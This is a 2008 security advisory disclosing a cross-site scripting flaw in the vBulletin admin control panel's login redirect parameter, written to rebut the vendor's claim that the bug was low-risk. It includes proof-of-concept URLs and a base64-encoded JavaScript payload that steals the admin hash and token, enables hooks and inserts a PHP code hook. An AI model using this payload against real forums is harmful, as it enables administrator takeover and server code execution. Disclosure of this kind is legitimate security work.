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Advisory : Exploit for vBulletin "obscure" XSS
Release Date : June 13th 2008
Application : vBulletin
Version : vBulletin 3.7.1 and lower, vBulletin 3.6.10 and lower
Platform : PHP
Vendor URL : http://www.vbulletin.com/ 
Authors : Jessica Hope (jessicasaulhope@googlemail.com) 


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Overview

Due to various failures in sanitising user input, it is possible to
construct XSS attacks that are rather damaging.

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Discussion

vBulletin released PL1 for their 3.7.1 and 3.6.10 versions of vBulletin:
http://www.vbulletin.com/forum/showthread.php?t=274882 

In the above topic they try to pass off the XSS as difficult to exploit,
with low exposure and damage. This advisory is here to detail what the
XSS is and how wrong Jelsoft are for assuming that XSS is harmless.

First, the discussion of exactly what the exploit is. The XSS in question
exists on the login page for the ACP (admin control panel). The login
script takes a redirect parameter that lacks sanitation, allowing a
rather easy XSS:

http://localhost/vB3/admincp/index.php?redirect={XSS} 

Yes, here goes the obscure. What is even better is that the exploit will
work outright if the admin is already logged in; if the admin is not, they
will be required to log in. If you Base64-encode your attack vector using
the data: URI scheme, the XSS survives the login request and activates after
the admin is logged in. A simple example of the above:

http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K 

Now to address the quote "potential for exposure and damage is limited".
Clearly Jelsoft have never seen what one can do with an XSS. In this case
you have an unlimited and unaltered XSS space, so you're free to invoke some
AJAX and have fun. Just to give ideas on how this could turn into something
larger, vBulletin has hooks that operate using eval(), and new hooks can
be added via the ACP itself. It is trivial to write some JS that not only
enables hooks but also inserts a nice RFI hook. Here's one using the data
URI:

data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnO2M9J0NvbnRlbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgnO3JlZz0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcsICdodHRwOi8vbG9jYWxob3N0L3ZCL3VwbG9hZC9hZG1pbmNwL3BsdWdpbi5waHA/ZG89YWRkJywgZmFsc2UpO3JlZy5zZW5kKG51bGwpO3IgPSByZWcucmVzcG9uc2VUZXh0O3Q9J2h0dHA6Ly9sb2NhbGhvc3QvdkIvdXBsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7aD0nJmFkbWluaGFzaD0nK3Iuc3Vic3RyKHIuaW5kZXhPZignaGFzaFwiJykrMTMsMzIpO3RvPScmc2VjdXJpdHl0b2tlbj0nK3Iuc3Vic3RyKHIuaW5kZXhPZigndG9rZW5cIicpKzE0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va25hbWU9Zm9ydW1ob21lX3N0YXJ0JmRvPXVwZGF0ZSZ0aXRsZT1mb28mZXhlY3V0aW9ub3JkZXI9MSZwaHBjb2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG87cjIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJywgdCwgZmFsc2UpO3IyLnNldFJlcXVlc3RIZWFkZXIoZCwgdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7dD0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2RvPWRvb3B0aW9ucyZzZXR0aW5nW2VuYWJsZWhvb2tzXT0xJytoK3RvO3IyPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJyx0LGZhbHNlKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGQsdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7Iik8L3NjcmlwdD4K


The above will survive a login prompt. It will then, once executed, proceed
to parse one of the ACP pages and extract the admin hash and token, then
it will enable hooks and add one that executes phpinfo().

In order to exploit, just get an admin to click the link. It's easier
than Jelsoft would expect...

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Solution

Per usual, update to 3.7.1 PL1 or 3.6.10 PL1

For the vendor, however, the solution to such things in the future is to
never call an exploit obscure, and never write "the potential for exposure
and damage is limited" when talking about an XSS. Above all, give credit where
credit is due, for there's no quicker way to piss someone off than to not give
credit. If the above was due to your PR department, then ignore them next time,
for handling exploits with PR is never a good idea.

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